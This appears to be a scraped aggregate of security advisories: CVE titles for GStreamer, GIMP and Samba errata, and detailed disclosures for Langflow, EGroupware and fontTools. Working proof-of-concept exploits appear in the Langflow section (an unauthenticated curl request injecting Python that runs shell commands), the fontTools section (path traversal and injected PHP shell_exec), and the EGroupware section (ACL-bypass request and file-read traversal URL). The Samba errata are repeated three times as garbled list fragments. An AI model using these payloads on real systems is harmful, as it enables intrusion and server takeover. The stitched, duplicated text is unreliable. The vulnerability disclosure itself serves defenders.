CVE-2026-2921, GStreamer RIFF Palette Integer Overflow Remote Code
Execution Vulnerability
CVE-2026-2923.GStreamer DVB Subtitles Out-Of-Bounds Write Remote Code
Execution Vulnerability
CVE-2026-3082, GStreamer JPEG Parser Heap-based Buffer Overflow Remote
Code Execution Vulnerability
CVE-2026-3085, GStreamer rtpqdm2depay Heap-based Buffer Overflow Remote
Code Execution Vulnerability
CVE-2026-2920, GStreamer ASF Demuxer Heap-based Buffer Overflow Remote
Code Execution Vulnerability
CVE-2026-2922, GStreamer ASF Demuxer Heap-based Buffer Overflow Remote
Code Execution Vulnerability
CVE-2026-1940, Gstreamer: incomplete fix of CVE-2026-1940
gstreamer1.0-plugins-badgstreamer1.0-plugins-basegstreamer1.0-plugins-goodgstreamer1.0-plugins-ugly
## Summary
The `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.
This is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.
## Affected Code
### Vulnerable Endpoint (No Authentication)
**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # Attacker's data passed directly to graph builder
current_user=owner_user,
...
)
```
Compare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.
### Code Execution Chain
When attacker-supplied `data` is provided, it flows through:
1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`
2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`
3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`
4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`
5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`
6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`
7. `code = custom_params.pop("code")` extracts attacker code -- `loading.py:43`
8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`
9. `prepare_global_scope(module)` -- `validate.py:323`
10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`
### Unsandboxed exec() in prepare_global_scope
**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397
```python
def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name) # line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION
```
**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system("id")` is an assignment and will be executed during graph building -- before the flow even "runs."
## Prerequisites
1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)
2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
3. No authentication required -- only a `client_id` cookie (any arbitrary string value)
When `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:
1. `GET /api/v1/auto_login` → obtain superuser token
2. `POST /api/v1/flows/` → create a public flow
3. Exploit via `build_public_tmp` without any auth
## Proof of Concept
### Tested Against
- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)
- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)
### Step 1: Obtain a Public Flow ID
(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)
```bash
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
```
### Step 2: Exploit -- Unauthenticated RCE
```bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
```
### Step 3: Verify Code Execution
```bash
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali
```
### Actual Test Results
```
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)
```
## Impact
- **Unauthenticated Remote Code Execution** with full server process privileges
- **Complete server compromise**: arbitrary file read/write, command execution
- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
- **Reverse shell access** for persistent access
- **Lateral movement** within the network
- **Data exfiltration** from all flows, messages, and stored credentials in the database
## Comparison with CVE-2025-3248
| Aspect | CVE-2025-3248 | This Vulnerability |
|--------|--------------|-------------------|
| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |
| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |
| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |
| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |
| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |
| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |
## Recommended Fix
### Immediate (Short-term)
**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):
```
In `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:
```python
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
return await build_graph_from_db(
flow_id=flow_id,
session=fresh_session,
...
)
```
langflow
## Summary
A critical vulnerability has been identified in EGroupware that may lead to Remote Code Execution (RCE).
The issue allows an authenticated attacker to execute arbitrary commands on the server. If user self-registration is enabled, the vulnerability may be exploitable without prior authentication.
The vulnerability stems from improper authorization checks combined with a file write primitive and an arbitrary file read vulnerability, which together enable full system compromise.
## Details
### 1. Improper Authorization in SmallPartMediaRecorder::ajax_upload()
The vulnerability originates in:
`EGroupware\SmallParT\Widgets\SmallPartMediaRecorder::ajax_upload()`
The function attempts to verify whether the current user is a teacher of the specified course ID before allowing a file upload.
The critical authorization check ensures that the course access control list (ACL) contains:
`$required_acl (self::ROLE_TEACHER, i.e., 3)`
However, the `course_acl `value is derived from user-controlled request data.
**_Bypass Technique_**
A crafted request can manipulate the `participant_role `value inside the request body:
```json
{
"video": {
"course_id": {
"participants": [
{
"account_id": "7",
"name": "Test",
"joined_at": "2026-01-10",
"participant_role": 3
}
],
"account_id": "7",
"course_id": "1"
},
"video_hash": ".",
"video_type": "file_here"
}
}
```
Because the course ACL is taken from `participant_role`, setting it to 3 allows bypassing the `isTeacher `check.
### 2. Arbitrary File Write
After bypassing authorization, the function uploads the provided file into a controllable file path.
The file path is derived from the `video_type `(or video_path) value, enabling path traversal.
Due to file permission restrictions (server running as www-data), writable targets are limited. One viable target is `./header.inc.php`
### 3. Constraints
Writing a simple PHP webshell may not immediately execute due to OPcache.
An invalid `header.inc.php` file will break the system and prevent the server from running.
Therefore, a valid file structure must be preserved.
### 4. Arbitrary File Read
A second vulnerability allows arbitrary file read via:
`/egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak`
The issue resides in:
`importexport_export_ui::download`
The `_filename `parameter is user-controlled and used to read arbitrary files.
This allows retrieving the original `header.inc.php` content.
### 5. Achieving Remote Code Execution
By combining: Arbitrary file read (to retrieve valid header.inc.php); Arbitrary file write (to overwrite it with modified content), an attacker can inject controlled PHP code while preserving file validity.
This results in Remote Code Execution after server restart, or OPcache expiration. An alternative impact includes modifying the admin setup password to gain full system control.
## Impact
Remote Code Execution
Full system compromise
Arbitrary file read
Arbitrary file write
Potential complete takeover of EGroupware instance
## Reported by
This finding was discovered by Huong Kieu of Cenobe Security (https://cenobe.com/)
egroupware/egroupware
## Summary
The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).
Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
## Affected Lines
`fontTools/varLib/__init__.py`
```python
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
```
## PoC
1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace)
`setup.py`
```python
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
```
`malicious.designspace`
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
```
Optional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.
2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.
```bash
python3 setup.py
```
3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
```bash
fonttools varLib malicious.designspace
```
4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace
```bash
cat {{filename_location}}
```
5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.
`malicious2.designspace`
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
```
6. When the program is run, we can show we control the contents in the new file
```bash
fonttools varLib malicious2.designspace -o file123
```
Here being outputted to a localised area ignoring filename presented in variable-font
7. We can look inside file123 to validate user controlled injection
```bash
cat file123
```
to show `<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>`
8. Executing the file and reading looking at the newly generated file
```bash
php file123
ls -la /tmp/MEOW123
```
we can see that the file was just created showing RCE.
## Recommendations
- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
fonttools
The GIMP (GNU Image Manipulation Program) is an image composition and editing program. GIMP provides a large image manipulation toolbox, including channel operations and layers, effects, sub-pixel imaging and anti-aliasing, and conversions, all with multi-level undo.
Security Fix(es):
* gimp: GIMP:Memory disclosure and denial of service via specially crafted PCX image (CVE-2026-4887)
* gimp: GIMP: Remote Code Execution via XPM File Parsing Integer Overflow (CVE-2026-4154)
* gimp: GIMP: Remote Code Execution via ANI File Parsing Integer Overflow (CVE-2026-4151)
* gimp: GIMP: Remote Code Execution via malicious JP2 file parsing (CVE-2026-4152)
* GIMP: GIMP: Arbitrary code execution via specially crafted PSD file (CVE-2026-4150)
* gimp: GIMP: Remote Code Execution via PSP file parsing (CVE-2026-4153)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
gimpgimp-libs
Samba is a suite of programs for Linux and Unix to interoperate with Windows.
Security Fix(es):
['-------- Forwarded Message --------', 'Date: Tue, 26 May 2026 14:29:50 +0200', 'Reply-To: Stefan Metzmacher <metze () samba org>', 'Release Announcements\n---------------------\n\nThis is a security release in order to address the following defects:\n\no CVE-2026-1933: Missing access checks on reparse point operations\n\n On a share marked "read only = yes" and\n on file handles opened R/O users can set\n or delete the reparse point xattrs on files\n that the user has write-access in the file\n system for.', 'o CVE-2026-2340: WORM vfs module does not block overwrites\n\n The WORM (Write-Once, Read Many) vfs module\n is supposed to lock write access to shared\n files, so they cannot be altered after initial\n writes. It was allowing files to be overwritten\n by renaming a newly created file over a protected\n file.', 'o CVE-2026-3012: auto-enrolment GPO installing CA certificate over http\n without verification\n\n To bootstrap a certificate chain a domain member must\n fetch a certificate without TLS. It was trusting HTTP\n for this when a more secure encrypted LDAP channel\n was also available.', 'o CVE-2026-3238: Denial of service against AD DC WINS server\n\n The WINS server component of the Active\n Directory Domain controller code in Samba\n is vulnerable to a NULL pointer dereference\n and crash caused by a unauthenticated UDP\n packet.', 'server', '"check password script" that has the %u substitution\n character are vulnerable to a remote code execution.', 'o CVE-2026-4480: Unauthenticated Remote Code Execution in Samba printing\n subsystem\n\n Samba print servers with a "print command"\n that has the %J substitution character\n are vulnerable to a Remote Code Execution.', 'Changes\n-------\n\no Douglas Bagnall <douglas.bagnall () catalyst net nz>\n * BUG 15997: CVE-2026-2340\n * BUG 16003: CVE-2026-3012\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408\n\no Pavel Kohout <pavel () aisle com>\n * BUG 15997: CVE-2026-2340\n\no Volker Lendecke <vl () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16012: CVE-2026-3238\n\no Stefan Metzmacher <metze () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408', "has Homedir / In passwd\n\n#######################################\nReporting bugs & Development Discussion\n#######################################\n\nPlease discuss this release on the samba-technical mailing list or by\njoining the #samba-technical:matrix.org matrix room, or\n#samba-technical IRC channel on irc.libera.chat.\n\nIf you do report problems then please try to send high quality\nfeedback. If you don't provide vital information to help us track down\nthe problem then you will probably be ignored. All bug reports should\nbe filed under the Samba 4.1 and newer product in the project's Bugzilla\ndatabase (", ').\n\n\n======================================================================\n== Our Code, Our Bugs, Our Responsibility.\n== The Samba Team\n======================================================================\n\n\n\n================\nDownload Details\n================\n\nThe uncompressed tarballs and patch files have been signed\nusing GnuPG (ID AA99442FB680B620). The source code can be downloaded\nfrom:', 'The release notes are available online at:', 'Our Code, Our Bugs, Our Responsibility.\n(', ')\n\n --Enjoy\n The Samba Team'](CVE-2026-3238)
A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the "check password script" feature. If this script is configured with the %u substitution character, the client-controlled username is passed without proper escaping of shell meta-characters. This vulnerability allows an attacker to achieve remote command execution on the affected system. This issue primarily affects non-standard configurations where the "check password script" is used with %u and the samba-dcerpcd service is started as a system service.(CVE-2026-4408)
A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the 'print command' setting via the '%J' substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.(CVE-2026-4480)
samba
Samba is a suite of programs for Linux and Unix to interoperate with Windows.
Security Fix(es):
A flaw was found in Samba's certificate auto-enrollment Group Policy handling. When certificate auto-enrollment is enabled, Samba may retrieve a CA certificate over an unencrypted HTTP connection and install it into the local trust store without proper verification. An attacker with the ability to intercept or redirect network traffic could exploit this behavior to supply a malicious certificate authority certificate, potentially allowing interception or spoofing of trusted communications.(CVE-2026-3012)
['-------- Forwarded Message --------', 'Date: Tue, 26 May 2026 14:29:50 +0200', 'Reply-To: Stefan Metzmacher <metze () samba org>', 'Release Announcements\n---------------------\n\nThis is a security release in order to address the following defects:\n\no CVE-2026-1933: Missing access checks on reparse point operations\n\n On a share marked "read only = yes" and\n on file handles opened R/O users can set\n or delete the reparse point xattrs on files\n that the user has write-access in the file\n system for.', 'o CVE-2026-2340: WORM vfs module does not block overwrites\n\n The WORM (Write-Once, Read Many) vfs module\n is supposed to lock write access to shared\n files, so they cannot be altered after initial\n writes. It was allowing files to be overwritten\n by renaming a newly created file over a protected\n file.', 'o CVE-2026-3012: auto-enrolment GPO installing CA certificate over http\n without verification\n\n To bootstrap a certificate chain a domain member must\n fetch a certificate without TLS. It was trusting HTTP\n for this when a more secure encrypted LDAP channel\n was also available.', 'o CVE-2026-3238: Denial of service against AD DC WINS server\n\n The WINS server component of the Active\n Directory Domain controller code in Samba\n is vulnerable to a NULL pointer dereference\n and crash caused by a unauthenticated UDP\n packet.', 'server', '"check password script" that has the %u substitution\n character are vulnerable to a remote code execution.', 'o CVE-2026-4480: Unauthenticated Remote Code Execution in Samba printing\n subsystem\n\n Samba print servers with a "print command"\n that has the %J substitution character\n are vulnerable to a Remote Code Execution.', 'Changes\n-------\n\no Douglas Bagnall <douglas.bagnall () catalyst net nz>\n * BUG 15997: CVE-2026-2340\n * BUG 16003: CVE-2026-3012\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408\n\no Pavel Kohout <pavel () aisle com>\n * BUG 15997: CVE-2026-2340\n\no Volker Lendecke <vl () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16012: CVE-2026-3238\n\no Stefan Metzmacher <metze () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408', "has Homedir / In passwd\n\n#######################################\nReporting bugs & Development Discussion\n#######################################\n\nPlease discuss this release on the samba-technical mailing list or by\njoining the #samba-technical:matrix.org matrix room, or\n#samba-technical IRC channel on irc.libera.chat.\n\nIf you do report problems then please try to send high quality\nfeedback. If you don't provide vital information to help us track down\nthe problem then you will probably be ignored. All bug reports should\nbe filed under the Samba 4.1 and newer product in the project's Bugzilla\ndatabase (", ').\n\n\n======================================================================\n== Our Code, Our Bugs, Our Responsibility.\n== The Samba Team\n======================================================================\n\n\n\n================\nDownload Details\n================\n\nThe uncompressed tarballs and patch files have been signed\nusing GnuPG (ID AA99442FB680B620). The source code can be downloaded\nfrom:', 'The release notes are available online at:', 'Our Code, Our Bugs, Our Responsibility.\n(', ')\n\n --Enjoy\n The Samba Team'](CVE-2026-3238)
A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the "check password script" feature. If this script is configured with the %u substitution character, the client-controlled username is passed without proper escaping of shell meta-characters. This vulnerability allows an attacker to achieve remote command execution on the affected system. This issue primarily affects non-standard configurations where the "check password script" is used with %u and the samba-dcerpcd service is started as a system service.(CVE-2026-4408)
A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the 'print command' setting via the '%J' substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.(CVE-2026-4480)
samba
Samba is a suite of programs for Linux and Unix to interoperate with Windows.
Security Fix(es):
A flaw was found in Samba's certificate auto-enrollment Group Policy handling. When certificate auto-enrollment is enabled, Samba may retrieve a CA certificate over an unencrypted HTTP connection and install it into the local trust store without proper verification. An attacker with the ability to intercept or redirect network traffic could exploit this behavior to supply a malicious certificate authority certificate, potentially allowing interception or spoofing of trusted communications.(CVE-2026-3012)
['-------- Forwarded Message --------', 'Date: Tue, 26 May 2026 14:29:50 +0200', 'Reply-To: Stefan Metzmacher <metze () samba org>', 'Release Announcements\n---------------------\n\nThis is a security release in order to address the following defects:\n\no CVE-2026-1933: Missing access checks on reparse point operations\n\n On a share marked "read only = yes" and\n on file handles opened R/O users can set\n or delete the reparse point xattrs on files\n that the user has write-access in the file\n system for.', 'o CVE-2026-2340: WORM vfs module does not block overwrites\n\n The WORM (Write-Once, Read Many) vfs module\n is supposed to lock write access to shared\n files, so they cannot be altered after initial\n writes. It was allowing files to be overwritten\n by renaming a newly created file over a protected\n file.', 'o CVE-2026-3012: auto-enrolment GPO installing CA certificate over http\n without verification\n\n To bootstrap a certificate chain a domain member must\n fetch a certificate without TLS. It was trusting HTTP\n for this when a more secure encrypted LDAP channel\n was also available.', 'o CVE-2026-3238: Denial of service against AD DC WINS server\n\n The WINS server component of the Active\n Directory Domain controller code in Samba\n is vulnerable to a NULL pointer dereference\n and crash caused by a unauthenticated UDP\n packet.', 'server', '"check password script" that has the %u substitution\n character are vulnerable to a remote code execution.', 'o CVE-2026-4480: Unauthenticated Remote Code Execution in Samba printing\n subsystem\n\n Samba print servers with a "print command"\n that has the %J substitution character\n are vulnerable to a Remote Code Execution.', 'Changes\n-------\n\no Douglas Bagnall <douglas.bagnall () catalyst net nz>\n * BUG 15997: CVE-2026-2340\n * BUG 16003: CVE-2026-3012\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408\n\no Pavel Kohout <pavel () aisle com>\n * BUG 15997: CVE-2026-2340\n\no Volker Lendecke <vl () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16012: CVE-2026-3238\n\no Stefan Metzmacher <metze () samba org>\n * BUG 15992: CVE-2026-1933\n * BUG 16033: CVE-2026-4480\n * BUG 16034: CVE-2026-4408', "has Homedir / In passwd\n\n#######################################\nReporting bugs & Development Discussion\n#######################################\n\nPlease discuss this release on the samba-technical mailing list or by\njoining the #samba-technical:matrix.org matrix room, or\n#samba-technical IRC channel on irc.libera.chat.\n\nIf you do report problems then please try to send high quality\nfeedback. If you don't provide vital information to help us track down\nthe problem then you will probably be ignored. All bug reports should\nbe filed under the Samba 4.1 and newer product in the project's Bugzilla\ndatabase (", ').\n\n\n======================================================================\n== Our Code, Our Bugs, Our Responsibility.\n== The Samba Team\n======================================================================\n\n\n\n================\nDownload Details\n================\n\nThe uncompressed tarballs and patch files have been signed\nusing GnuPG (ID AA99442FB680B620). The source code can be downloaded\nfrom:', 'The release notes are available online at:', 'Our Code, Our Bugs, Our Responsibility.\n(', ')\n\n --Enjoy\n The Samba Team'](CVE-2026-3238)
A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the "check password script" feature. If this script is configured with the %u substitution character, the client-controlled username is passed without proper escaping of shell meta-characters. This vulnerability allows an attacker to achieve remote command execution on the affected system. This issue primarily affects non-standard configurations where the "check password script" is used with %u and the samba-dcerpcd service is started as a system service.(CVE-2026-4408)
A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the 'print command' setting via the '%J' substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.(CVE-2026-4480)
samba